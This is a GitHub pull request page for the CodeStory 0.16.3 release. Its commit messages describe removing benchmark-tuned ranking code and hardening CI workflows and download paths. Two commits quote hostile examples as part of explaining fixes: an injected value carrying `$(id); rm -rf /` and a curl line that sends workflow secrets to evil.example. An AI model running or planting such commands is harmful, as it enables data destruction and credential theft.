Release CodeStory 0.16.3 - #1595
Merged
Merged
Conversation
Search-plan term extraction injected symbol names, multiword phrases, and role subqueries that the question never contained: SourceGroup, BuildIndex, IndexerCommand, EventProcessor, "exec cli"/"turn start", "collection config"/"comment submission", plus a rule that dropped the words "root" and "runtime" for content-flow questions. Those branches recognised four benchmark prompts, not repository structure, so they could only help the repositories they were written against and silently misdirect every other one. Term extraction, symbol-term ranking, and subquery planning now use the query's own tokens and their shape. Whether a word names a real symbol is answered by the indexed repository through the typed-symbol channel instead of by a noun list in this crate, so prose questions keep that channel without a vocabulary table. Deleting the role catalogue costs the role-named subqueries and the storage surfaces the sourcetrail-style prompt used to pull forward; both were products of the injected vocabulary. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The lint carried ~90 hand-written holdout literals. A hand list only bans what
someone remembered to add: it still held repositories the benchmark harness
dropped long ago, and production had drifted into spellings just outside it
("isBlank" beside a banned "StringUtils", "addRoute" beside a banned
"Engine.addRoute"). Adding a benchmark task extended the corpus but not the ban.
Banned tokens now come from the corpus itself on every run: repository names and
URL slugs, task ids, prompts, claims, expected symbols with their qualified
segments, expected files with their path windows, and the fixture file names
under benchmarks/tasks. A task manifest added tomorrow bans its own repository
tomorrow, and a family that produces no marker at all fails the lint rather than
disappearing from it. Markers stay off the product's own names: a task that runs
against this repository contributes its prompt, not the symbols we have to keep
writing.
Deriving honestly means the lint now sees benchmark-family steering that the
hand list stepped around. Those surfaces belong to the packet-code deletions and
cannot be tuned away here, so they are inventoried in
scripts/retrieval-generalization-pending.json, counted in the lint's own output,
and fail again once they stop matching, which forces the entry out with the
code. Everything outside the inventory fails immediately.
Search-plan term extraction joins the scan by name, and the lexical index no
longer drops the token "codex" from backticked query fragments: that filter
existed for one benchmark prompt.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The locals still read symbol_terms after the term catalogue went away, but the list is every asked term, ranked by shape. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Root ranking cannot tell a call-DAG root from a widely-called leaf using the undirected edge digest, which is why the v0.16.1 grounding replay found zero entry-point symbols in any root set: the only graph evidence available to the comparator was direction-blind. Expose inbound and outbound CALL degrees separately, ignoring speculative resolutions the same way the detail snapshot does and excluding proven test/benchmark callers the same way the runtime caller filter does. Delete get_grounding_named_root_symbols_for_files. Its only caller is the grounding name catalog that this rebuild removes, and a name-matching fetch is exactly the benchmark-shaped shortcut the v0.16.1 audit named. Drop the payload-types clause from FileRole::classify_path. A single framework's generated type file is a repository name in production classification; the /generated/ and .generated. markers stay. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…ture The v0.16.1 installed-host replay found zero entry-point symbols in any root set, one strict map missing a major source area, and leaf aliases outranking visible entry points. The cause was the ranking inputs: root order came from a catalog of entry-point names and framework filenames collected from the benchmark holdout, and graph evidence never reached the comparator at all. Delete both catalogs. ARCHITECTURE_ROOT_EXACT_NAMES carried the literally banned "createapplication" and the HTTP verb route names; architecture_path_rank carried payload.config.ts, next.config.ts, app.svelte, page.tsx, layout.tsx and /src/collections/. Neither survives in renamed or decomposed form. Rank instead on verified file role as the band frame, directed CALL degrees to refine within the band, and path structure as a tie-breaker. A file-role Entrypoint file cannot by itself make every callable an entry point -- mod.rs and index.ts classify that way -- so entry evidence needs production topology or the single language literal `main`. Fix the candidate universe rather than raising any budget: stored root candidates are ordered by symbol kind first, which is why main() sits below every type in its file. Declared entry files and a per-subsystem file quota both enter the universe on structure alone. The universe is bounded lower than before because the named-root fetch is gone. Report GraphSignalThin and LexicalFallback, and hold confidence to an evidence-class invariant so a map can never claim Strong while reporting missing evidence. CompressedPresentation stays outside that invariant because it fires on every strict budget by construction. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
architecture_coverage_for_hit was the clearest benchmark-shaped surface the v0.16.1 audit found: 25 hardcoded path and term shapes with fixed scores, naming one framework's config file, another repository's collection directory, and a third's exec crate layout. It and its cross-source swap are deleted outright, along with the cfg(test)-masked repo-text twin catalog that the generalization lint could not see. The ten-variant ArchitectureQueryIntent set goes with them. Its vocabulary read generic, but its membership -- page render, data loader, auth, feed, persistence -- tracked the holdout domains. One orientation regime gate replaces it, built from structure-shape words with no domain noun. New rank fields sit below source_bucket and above the name/path buckets: entry evidence, helper demotion, and quantized directed call tiers. Below source_bucket so graph evidence can never rescue a demoted test or vendor hit; above the name buckets so entry points can actually outrank leaf aliases, which is the #1338 defect. Outside the regime every new field takes a constant, and a constant field contributes Ordering::Equal to every comparison, so those requests keep exactly today's order. Diversify the full list before truncating rather than swapping window slots, so results at a smaller limit stay an exact prefix of a larger one for a fixed candidate set. Exact matches are pinned through it. Bridge evidence is re-keyed on the collector's structured canonical id, owned by contracts, instead of matching substrings of a rendered display label. Rejected hits report typed evidence instead of coverage keys. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The lint's banned holdout names only ever applied to two directories -- the agent surface and codestory-retrieval/src. The retrieval ranking files were never in that scan, which is why a literally banned entry-point name sat in grounding.rs through a release with this lint green. Adding patterns without widening scope would have been inert, so widen first: the nine files that decide root order now carry the same name ban as the agent surface. Then ban the decomposed shapes this rebuild removed, in both regex and punctuation-free forms, so they cannot return as a path fragment or a filename check rather than as one of the literal holdout names. Widening immediately surfaced the same framework-name leak in the runtime's own path-based file-role classifier that the store copy had; deleted there too. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
GraphSignalThin and LexicalFallback are additive variants, so the stdio and human output paths need their labels and notes. Both say what the ranking could not prove rather than implying a structure claim. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The call-degree read built its candidate filter above a CTE that selected every CALL edge in the repository, so `EXPLAIN QUERY PLAN` seeked on `kind` alone and the cost of a bounded 992-id grounding read tracked the repository's edge count instead of its own input. On a synthetic 800k CALL-edge database one full grounding call cost 1822 ms and did not move when the chunk shrank from 500 ids to 5 (890 ms vs 854 ms) -- the uncosted full-edge-table scan on the live read path that this lane's own design rejected. Push the id list into each edge predicate. `COALESCE(resolved, raw) IN (ids)` is not seekable, so each direction becomes two disjoint branches split on `resolved IS NULL`, with `COUNT(DISTINCT ...)` over their union so an endpoint reachable through both a resolved and an unresolved edge still counts once. The branches pin their index because both edge indexes match the kind prefix and SQLite otherwise reads `resolved_target_node_id IS NULL` as the more selective equality. Same database, same 992 ids: 1822 ms -> 18 ms, byte-identical rows. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The evidence map was built from the pre-plan hit list after it had already been truncated to `limit_per_source`, and the plan's own discoveries were merged in afterwards. Three consequences: the window was min(limit, 50) rather than 50, so `--limit 5` measured five candidates; plan-discovered hits -- which is where breadth comes from -- carried no evidence at all, so the lane's own guarantee that graph evidence, file role and structure reach root ordering did not hold for them; and a hit outside the window fell back to structural_rank_inv = 0, the worst structural value, so a plan-discovered `src/main.rs` ranked below an in-window `src/anything.rs` as an artifact of window membership rather than as evidence. Build the map inside the plan, where its discoveries are already merged, and extend it over the merged list before the final sort so every ordered candidate is covered. Split the tiers: path-derived role, subsystem, helper shape and structural rank are free and now apply to every candidate, while only the store-reading graph walk stays bounded to SEARCH_ORIENTATION_WINDOW. A candidate the walk did not reach keeps its own structure and reports as unmeasured rather than as unreferenced. Report `evaluated_root_candidates` as the count the walk actually reached, not the size of the list it was drawn from -- #1338 requires typed orientation that does not overstate graph coverage. Replace two prefix assertions that sliced one stored Vec, which holds for any function including one that consults the limit, with assertions that re-run the ordering per limit. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…s them `GROUNDING_ORIENTATION_UNCERTAINTY` is the hand-maintained enum for the `ground` tool's declared MCP output schema, and it still listed only the five original variants while the runtime emitted seven. The lane had even added CLI labels for the two new ones, so they reached the human renderer but not the schema that advertises them, and a host validating ground output against the declared schema saw an undeclared enum value. `--check` passed because the generator and the checked-in catalog were stale together, agreeing with each other rather than with the DTO. Declare both, regenerate the catalog, and pin the schema list to an exhaustive match on the DTO so adding a variant fails the build until the schema follows. Refresh the skill's orientation vocabulary and say what an agent should do when either fires: verify structure with `trail` rather than read a thin-graph order as a claim about the repository. Also fix three CLI unit-test fixtures that never compiled after the DTO gained its optional `orientation` field -- `cargo check -p codestory-cli` without `--tests` does not reach them. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The scope widening this lane claimed was a nine-file allowlist, which is the narrowing the design forbade rather than the widening it required. A new `crates/codestory-runtime/src/root_rank_v2.rs` containing both `createapplication` and `payload.config.ts` passed the default lint run and exited 0, so any ranking module written tomorrow was unprotected on the day it was written. Scan the whole runtime crate instead. Widening surfaced three real problems, each fixed at its cause rather than exempted: - `semantic_file_is_package_callable_surface` still matched ten of the evaluation corpus's own entry filenames -- application.js, gin.go, nvm.sh and friends -- feeding dense-anchor selection. Deleted; those files still qualify through the generic layout markers beside them whenever a repository actually lays them out as a package surface. - A `tests.rs` beside a `mod tests;` is the module's test body, but `isExcludedRustFile` only knew `tests/` directories and `_tests.rs` suffixes, and `maskCfgTestItems` cannot see a `#[cfg(test)]` that sits on the `mod` in the parent file. Excluded by basename. - A task manifest whose repository is this one names CodeStory's own product symbols as its expected answer, so deriving bans from it banned the code under test -- `RefreshMode`, a codestory-workspace type, in index_coverage.rs. Self-referential manifests no longer contribute expected-file or expected-symbol markers; their prompt and claim phrasing stays banned. Add the decomposed-evasion adjacency pattern: two generic tokens tested close together in one condition, which is how `SourceGroup` steering stayed under a literal-name ban. Replace the guard meta-test's `scanned >= 88` assertion -- a count any eighty-eight files satisfy -- with one that plants an unlisted runtime source file and requires the lint to reject it by name. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Four ranking defects the review found, each small but each weakening a guarantee the lane claims: - `diversify_grounding_root_records` gave the production and secondary tiers a fresh seen-set each, so a secondary candidate whose name a production root had already spent could still claim a novel-name slot. One shared `RootDiversityState` now spans both tiers, which is the duplicate-name diversity #1338 requires stay intact. - The per-subsystem file quota walked subsystems in key order taking two each and then truncated to the half-limit, so a repository with more than twelve subsystems saw only the alphabetically first twelve reach the candidate universe -- and an absent subsystem is not counted as a candidate, so nothing reported the omission. Round-robin the quota so every subsystem contributes one file before any contributes a second. - The search surface passed `import_like: false` unconditionally while grounding passed the real signal, so a re-export the index resolved to a callable kind could be labelled a topological root on search and never on ground. Both surfaces now test the name shape, which is kind-independent and therefore right for a resolved alias. - `search_plan_caller_is_test_or_bench` resolved a node and a file path for every inbound CALL edge with no cache. That pre-dates this lane, but the orientation regime now runs the walk for up to fifty hits, so a hub node cost two storage reads per caller per hit. Memoized per request. Add the missing `bridge_evidence_uses_collector_canonical_ids_not_display_labels` regression: nothing pinned `DataCollectionUsage` to the collector's structured canonical id rather than the rendered label the deleted sniffs read. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
A guard test that panics while holding the lint lock poisoned it for the rest of the suite, so one real failure surfaced as seven and the root cause was the only one not reported first. Recover the guard on poison, as the newest test already did. The failure that exposed this was real: a doc comment in root_rank.rs contained "rediscover", whose substring trips the banned holdout name. Reworded rather than weakening the pattern. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Two vocabulary tables survived the term-extraction deletion and did the same job one file over. `repo_text_line_identifiers` treated a lowercase repo-text token as a symbol name when it matched "auth", "feed", "posts", "storage", "indexer", "service", "trail", or "snippet" -- eight nouns from the four holdout domains -- and `search_plan_eligible` kept a broad plan alive when a question hit three words from an eighteen-word architecture list. Both decided what a question or a file was about from a table written against known repositories, so both could only help those repositories. Repo-text candidates are now every token the window contains, minus language-level filler; the callers already answer them against the symbols the repository indexed in that same file, which also admits the lowercase single-word names Go, C, and Python declare and the old shape filter dropped. Plan eligibility now asks whether the question names an identifier at all: a flow question written entirely in prose got its exact hits from words the asker used as prose, so exact-first ranking answers a question nobody asked, while a question that spells run_index or RuntimeContext::ensure_open_from_summary is answered by exactly those hits. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The derived ban was gated by a hand-written escape list, and the list excused sourcegroup, buildindex, indexercommand, eventprocessor, foreignkey, formatto and internalmutate -- the audited injection symbols themselves. A hand-kept exclusion is the same defect as a hand-kept ban: it left the guard inert against the very deletion this lane exists for, so the sourcetrail, codex and payload term blocks could all be pasted back with CI green. Exclusions are now read out of the tree like the bans are. A repository's owner segment names a hosting account rather than a corpus, so only the repository segment is identity and an Apache licence header no longer fails CI. A single word this product already writes as code in its non-retrieval crates is trade vocabulary -- serialize, subcommand, express -- and is read from those crates' identifiers only, so neither a comment about a Sourcetrail-style format nor a printed message about a Codex host can unlock a ban, and the retrieval and packet surfaces under suspicion cannot vouch for their own words. Some injections are tables of ordinary nouns that no per-word ban can catch, so term extraction is checked structurally too: a run of bare word literals outside the language-level stopword list is a repository's domain written into this crate. Search planning joins the scanned files, because the injection could otherwise move one file over and be invisible again. The pending inventory now records how many production lines each marker occupies, so adding steering to a listed file fails as loudly as adding it to a clean one, and the entry has to be corrected or deleted either way. It grew from 144 to 175 entries because the derived exclusions stopped hiding surfaces the escape list stepped around; every one of them belongs to another lane's deletion. The probe test that proves a new task manifest extends the ban now writes its manifest into a task root of its own. The lint reads extra task roots additively, so the probe no longer plants a file in the checked-in corpus that concurrent runs -- inside the suite or outside it -- derive their bans from. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
`architecture_coverage_for_hit` and the window swap it feeds are production, and they hardcode /exec/src/cli.rs, source_group configuration keys, /content-data/ post and comment surfaces, and a storage-access proxy path -- the same four holdout repositories the deleted term injection was written for. Deleting that scoring belongs to the packet-code lane, but until then nothing stopped it growing, because the file sat outside every scan root the lint knows. Scanning it records those seventeen markers with their line counts like every other pending surface: the code cannot acquire another one, and removing it has to remove the entry. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
semantic_file_is_package_callable_surface ended in a list of ten literal file names - gin.go, nvm.sh, application.js and the rest - which are the top-level entry files of the holdout repositories. That is benchmark shape in a production path: it makes those repositories score well without making anyone else's code score correctly. The path markers above it stay, because /lib/, /src/ and /routes/ describe how packages are laid out rather than which repository is being measured. The generalization lint also derived bans from a task whose subject is this repository, so RefreshMode - a codestory-workspace type - and our own crate paths were banned from our own product. A task about CodeStory now contributes only its benchmark-specific parts, and a test covers both ways that rule can fail silently: under-firing bans our symbols, over-firing disables the lint for a whole holdout repository. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…ark-filenames stop steering dense anchors by benchmark filenames
The `.part` file is the one attacker-reachable name in the provisioning path. It was sized with `stat`, so a symlink planted there reported the target's length and the transfer resumed by appending release bytes straight through the link, outside the managed cache. Size it with `lstat`, drop anything that is not a regular file, and open it through an explicit no-follow descriptor so the write is refused even when the link is planted after the stat. Managed-CLI retention compared the running CLI's probed version against the plugin version. Those are the same string only when a release moves both, so every plugin-only release looked like an active-version mismatch and silently switched pruning off for the whole release. Compare CLI identity at both sites instead.
The pinned-provision proof nested its deadline and child-exit guards inside the catch of its runtime metadata read. Once the launcher published readable non-managed metadata the read stopped throwing, so neither guard ran again and the proof hung to the CI job timeout on exactly the pin and archive digest drift the gate exists to catch. Both guards now run on every tick and the catch only swallows an unreadable or partially written file. search_until_ready's shared deadline was advisory because each poll's tool_until_ready minted its own deadline from the full timeout, so a late poll could burn another whole budget past the shared bound. tool_until_ready now takes the caller's deadline and owns its own only when none is threaded in. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…s gate
Actions interpolation is textual, so `${{ inputs.commit }}` and
`${{ inputs.version }}` spliced into marketplace-sync run scripts executed a
dispatched value on the runner -- with the default token in the release check and
with the scoped marketplace app token in the catalog push. Both inputs now reach
the shell only through step env, and a first step refuses anything that is not a
hexadecimal commit id or a semantic version before the ref resolves or a token is
minted.
The plugin-release publish.needs assertion was a permanent no-op: its first
disjunct reduced to sameStrings([], []). Dropping it lets the comparison run, with
a scalar `needs:` normalized through the existing list helper instead of silently
passing.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The readiness projection derived freshness from manifest shape alone while strict sidecar admission derives staleness from storage. After a core-only refresh the two disagreed: readiness reported hybrid / semantic_ready with no fallback for a publication admission simultaneously refused to serve, so the agent received an error contradicting what readiness had just promised. Fold the same storage-derived staleness admission gates on (manifest_unavailable_reason_for_runtime) into the stale-publication determination, so the two surfaces cannot contradict each other. Also drop the CHANGELOG "For operators" bullet advertising freshness-cap env overrides the code no longer reads. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The plugin lane never updated the public catalog. Preflight captured the live marketplace revision with git ls-remote and handed it to post-publish smoke, but preflight runs before the release exists, so that revision names the *previous* release. Smoke then installed the previous plugin, compared it against the version being released, and failed -- after gh release create had already made the tag and release irreversible. Every plugin-lane release was arranged to end red with a published tag and a catalog that never learned about it. Give the plugin lane the same marketplace-publish job the native lane has, between publish and post-publish-smoke: a scoped GitHub App token minted per run in the marketplace-publish environment, in a job holding no repository write permission, pushing the catalog at the published commit. Smoke now consumes that job's revision, and preflight no longer captures one at all, so there is no pre-publication revision left to reconnect by accident. Catalog publication stays benign on failure. It runs after the release exists, so a failed push leaves the catalog serving the previous release rather than one that does not exist, and marketplace-sync.yml remains the recovery path. The lane still receives and forwards no secrets: it declares no callable secret surface, auto-release.yml still passes none, and the one credential it may read is the marketplace app identity, only in the step that mints the token. The policy check enforces exactly that instead of banning the string outright. The plugin lane's job DAG now lives in release-claims.json as workflow_policy .plugin_chain rather than as a hardcoded five-job list in the checker, which moves the claim graph digest and re-pins it in the evidence fixtures that attest it -- including report.json's candidate_sha256, which pins candidate.json's own bytes. Closes #1553 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The producer map learned to inherit evidence a prior run already authenticated, but the closeout that consumes it never did. Every check that anchors a producer row -- run identity, artifact head, job head -- compared against the publishing run and the release commit unconditionally, so the moment release preflight selected source-proof reuse the pre-publish closeout rejected the very rows the producer had just verified, and publish never ran. The closeout now anchors a row carrying reused_from to the reused run and commit, but only after re-proving, against its own checkout, the binding the claim graph declares for that cell's group. Verification is the same function the producer uses, moved to the shared claim module so both sides prove the binding the same way instead of one trusting the other's word. A reuse block with no declared binding, a binding the group did not declare, a commit that is not an ancestor or does not resolve to the release tree, a recorded binding value that disagrees with what this checkout computes, or a closeout with no verifier at all all fall back to the same-run anchor and record why, so they fail the run identity checks as well. Expiry, container digest, job window, and job success are untouched and still apply to a reused artifact exactly as to a same-run one. Anchoring the row is necessary but not sufficient: the claim evaluator reads each evidence row at the release commit, and a reused row was produced at an earlier one. That is precisely what the binding equates, so the closeout reads a binding-verified row at the release commit while the ledger keeps the manifest identity, and the reused run and commit, untouched. The row's own source tree is still compared against this release, so a binding that does not equate the trees still fails closed. The attempt cap now keys off the publishing run rather than off reuse, so a reuse block naming the current run cannot use it to claim an attempt that has not happened. Closes #1552 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…sport bound The entry-point guard the last commit added compared path.resolve(argv[1]) against the realpath Node hands ESM in import.meta.url, so any symlink on the invocation path made main() never run and the release gate exited 0 with no output. A gate cannot have a guard whose failure mode is a vacuous pass: the proof is an entry point again and always runs its body, and the bounded wait moved to scripts/lib/wait-for-managed-runtime.mjs so the test can import it without running the proof. The same commit also hoisted the child-exit guard above the metadata read, which turned a launcher that published managed metadata and then exited 0 into a reported failure. Each tick now reads, resolves a managed source, and only then runs the liveness guards, which keeps the drift fix without inventing a new spurious failure on the tag path. --timeout-ms with a missing or non-numeric value yielded NaN, and every Date.now() > NaN is false, so the one flag that declares the bound silently removed it. Both the script and the wait now refuse it. tool_until_ready threaded its caller's deadline into the readiness retries but not into the requests themselves, and send() kept minting a fresh full budget, so search_until_ready still allowed roughly twice its declared timeout. The deadline now reaches the transport. The deadline self-test scripted the host at tool(), above send(), so it could not see that overrun at all, and its default-bound leg used a converging host whose two retries happened to sum to the timeout, so a loosened default would still have passed. The scripted host now replaces the pipes rather than the methods, and the default-bound leg drives a host that never becomes ready. scripts/tests/prove-plugin-pinned-provision.test.mjs ran in no workflow. It is now wired into plugin-static.yml and into plugin-release.yml's plugin-proof job, paired in check-workflow-policy.mjs both places. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…t it quotes `grep -Eq '^...$'` anchors per line, so the coordinate guard accepted any value whose first line was well formed: `abc1234\n$(id); rm -rf /` satisfied the commit shape and carried the payload through, and the same held for the version. The layer the workflow leans on before the ref resolves and before the marketplace token is minted admitted exactly the inputs it exists to refuse. Bash regex has no line concept, so the tests now bound the value itself. The policy around it proved little. `requireStepRun` is substring matching, so a body of `true '<the pinned regex>'` satisfied it; the version fragment was a truncated prefix, so dropping the closing anchor was invisible; and the ordering assertion never said what the guard was positioned before, so the checkout could resolve `github.ref` and stay green. Fragments now pin each anchored regex together with the comparison that consumes it, a digest over the executable text pins the rest, the guard may not reuse grep, and the checkout must resolve the validated input. The digest stands for a rejection that was measured: the suite runs the guard script straight out of the workflow against multi-line, substitution-carrying and malformed coordinates and requires exit 1 with the guard's own diagnostic. Scope: the same class exists in five sibling dispatch workflows and is tracked separately, so this change stays on marketplace-sync. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Review found the two gates this PR added were both fail-open.
The replacement secret rule tripped on `key === "secrets"` or a value containing
`"secrets."`. `secrets.NAME` is only one of the ways a GitHub expression reaches
that context: `${{ toJSON(secrets) }}` dumps the whole context, `${{ secrets['NAME'] }}`
indexes it, contexts are case-insensitive so `SECRETS.NAME` also resolves, and a
walk over object entries never visits a string sitting in a bare list. All four
shapes were policy-clean, including a `curl -d "${{ secrets['...'] }}" https://evil.example`
appended to the job that tags the release. The blanket ban this replaced caught
every one of them, so the relaxation needed to admit the token step gave away
the lane's only advertised security property.
Stop pattern-matching the smuggling shapes. Redact the two permitted identity
reads at their exact position -- the marketplace token step's `app-id` and
`private-key`, each matched against its exact expression -- and require the
serialized remainder to name secrets nowhere at all. That is the same
whole-workflow scan as before with one hole cut in a known place, so it is no
weaker than the rule it replaces, and a token step that mints from a different
credential, or a second step that merely borrows its name, keeps its mention.
The plugin lane's DAG moved into `workflow_policy.plugin_chain`, and the checker
only asserts that `needs:` match whatever that data says. Nothing validated the
data. Blanking `publish` and `post-publish-smoke` to `[]` and deleting the
matching `needs:` lines left both gates green with `gh release create` running
detached from the release-authority checks and the entire plugin-proof matrix.
`release_chain` rejects the identical edit.
Give `plugin_chain` a schema in the claim graph validator, which
`loadReleaseClaimGraph` runs for the checker too: non-empty dependency lists, no
dependency on a job the lane never declares, no cycle, every job behind the
`workflow-policy` gate, and the ordering the lane exists to enforce -- tagging
behind preflight and the plugin proof, catalog publication behind the release it
advertises, install proof behind both. Data still says what the lane is; the
schema says what any lane must satisfy.
The suite certified the hole as covered: both new secret subtests exercised the
shapes that already worked. Replace them with a block that enumerates every way
of naming the context, and add one for the chain that leaves the workflow and
the graph agreeing with each other so only the schema can refuse it. Six of the
nine secret subtests and all eleven chain subtests fail without these repairs.
Known deployment precondition, unchanged by this commit: the
`marketplace-publish` environment and its two secrets do not exist in the
repository yet, so the job cannot succeed until the owner provisions them.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Anchoring a reuse row to its earlier run made the closeout read that row's evidence at the release commit, which is exactly what the binding equates. But that comparison in the claim evaluator was the only thing that had ever bound a manifest's declared commit to anything at all, and reading the row at the release commit suppressed it. The proved commit was computed, recorded, and then never compared, so a reused row's manifest could declare any commit whatsoever and still land in an accepted pre-publish ledger -- attesting a commit the closeout never saw, never proved an ancestor, and never proved tree-equal. The proof covers exactly one commit, so that is the only commit the manifest may declare. Producer authentication now compares the two, and the substitution is granted to that commit alone: a row declaring any other, this release's own included, is read as written and fails the same commit check every same-run row faces. Reuse also has to mean inheritance. A block naming the run that is publishing inherits nothing and verifies vacuously under either declared binding, since a commit is its own ancestor and its own tree. Left admissible it was a general opt-out from the commit check for any same-run row willing to name itself. Such a block is now refused as meaningless before any binding is proved, so the row keeps the anchor, and the checks, it would have had with no reuse block at all. The relocated binding verifier leaves no compatibility export behind in the producer module, and its real-history test moves to the claim module that owns it -- into the suite pull requests actually run rather than one only the release workflow runs. The second declared binding, native_fingerprint for accelerator_execution, stays refused: that group requires source_tree, and fingerprint reuse exists precisely because the trees differ. Widening it is a separate trust decision from the source-proof reuse #1552 describes, so it is pinned here as a documented refusal instead. Refs #1552 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The previous commit constrained one component of one path, and claimed in its
own comments that this kept every provisioning byte inside the managed cache.
Three routes around it survived.
`managedCliDownloadCacheDir` built `<cache>/<version>` with
`mkdirSync({ recursive: true })`, which returns quietly when that name is
already a symlink to a directory. The partial then lives outside the cache and
a no-follow open of its final component protects nothing -- no race required.
Guard the per-version directory the way the cache root next to it already is,
and resolve both ends so a version name cannot climb out either. Provisioning
already treats a throw here as "no cache" and falls back to its temp dir, so
refusing costs resume rather than correctness.
A hard link at the partial path is a regular file to `lstat` and invisible to
`O_NOFOLLOW`. It was sized, resumed, and appended straight through into the
file it shares an inode with, and `publishDownloadedFile` then made the
"archive" a second name for it. Refuse a partial that has more than one name,
and re-check the opened descriptor with `fstat` so a link planted after the
sizing is refused too. Truncation moves onto that checked descriptor, so a
planted link is no longer emptied on the way in.
Publication renamed whatever stood at the partial path, so a link planted
after the last byte was moved into place as the archive. The transfer now
records the device and inode it actually wrote, and publication opens the
partial no-follow, refuses anything that is not that file, and re-checks the
published name afterwards. The cross-device fallback copies from the same
verified descriptor instead of re-opening by name.
Windows keeps `O_NOFOLLOW` and `O_NONBLOCK` as `0`. The `fstat`, `lstat` and
identity checks all hold there and do refuse a hard link, which Windows makes
without privilege; a symlink planted inside the stat/open window stays
unprotected on that platform, and the comment at the open now says so.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…r-requirement close each flow requirement with its own cited evidence
…-barrier Enforce an executable release freeze barrier
…ocess-capture Avoid descendant waits in proof command capture
…cache-state Retain model-cache state from qualification evidence
TheGreenCedar
marked this pull request as ready for review
July 31, 2026 00:41
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Release
Promote the complete CodeStory 0.16.3 candidate from
dev/codestory-nexttomain.The final frozen source head is
54b4067e36ecd7dda1a0710bff1099dc0f58d726, treeb13c24444294dff87eeffe827a5577d9a2005b9b. All support work is integrated,including PRs #1581, #1597, #1622, and #1624.
The release fixes Windows long-path database failures, Linux cross-filesystem
first-use installation, large-repository search refusal, startup readiness,
semantic-index health reporting, shared/read-only installations, Windows runtime
cleanup and disconnect recovery, unnecessary model startup on commands that do
not search, evidence sufficiency across all six carrier flows, GPU-only
constant calibration, and duplicate Windows package builds. The public wording
is the versioned
0.16.3section inCHANGELOG.md.Refs #1179
Accepted candidate
ac2d788bd1de84ad7cc241f8d2a7efdabf8c9d35, tree88583ad49a26f38cfb5f00aee6aee0236a70c833.run 30590903374,
completed in about 2m14s. The generated constant set is the sole source
change after calibration.
54b4067e36ecd7dda1a0710bff1099dc0f58d726, treeb13c24444294dff87eeffe827a5577d9a2005b9b.run 30591167245.
run 30591388832,
including the 9m09s workspace gate and 53s retrieval-generalization suite.
run 30592012363.
All three packages and the Linux fresh-target boundary passed. Windows proved
the exact package, Vulkan execution, and resident runtime before a later
publication-fault harness process exited before its hook event. A native
sub-90-second replay against the same cached archive
(
676be9a890898d5dce2e1bcdbfc5837aaf7086b1268d8d5b955987755d274f16)reached the hook, resumed, committed the manifest, and completed in 77.9s.
No deterministic candidate defect reproduced, so no source change or
unchanged-head rerun is justified.
Release handoff
54b4067e36ecd7dda1a0710bff1099dc0f58d726.merge must preserve the frozen tree.
starts Auto Release; do not manually dispatch calibration, source, package,
hardware, or release proof.
30591388832.
Auto Release authenticates and reuses it.
predating calibration source
ac2d788bor targeting an intermediate supporthead.
30592012363
is finishing the Metal cell; ordinary focused PR checks may also run.
merge it with a merge commit. Do not squash or rebase.
Deliberate boundaries
runner is unavailable. CPU embeddings and CPU fallback are forbidden.
Merge behavior
Merging this development-branch PR is the release authority. The synchronized
version change on
mainstarts Auto Release, which owns tag creation, GitHubrelease publication, native archives, checksums, and post-publish proof. No tag
will be created manually.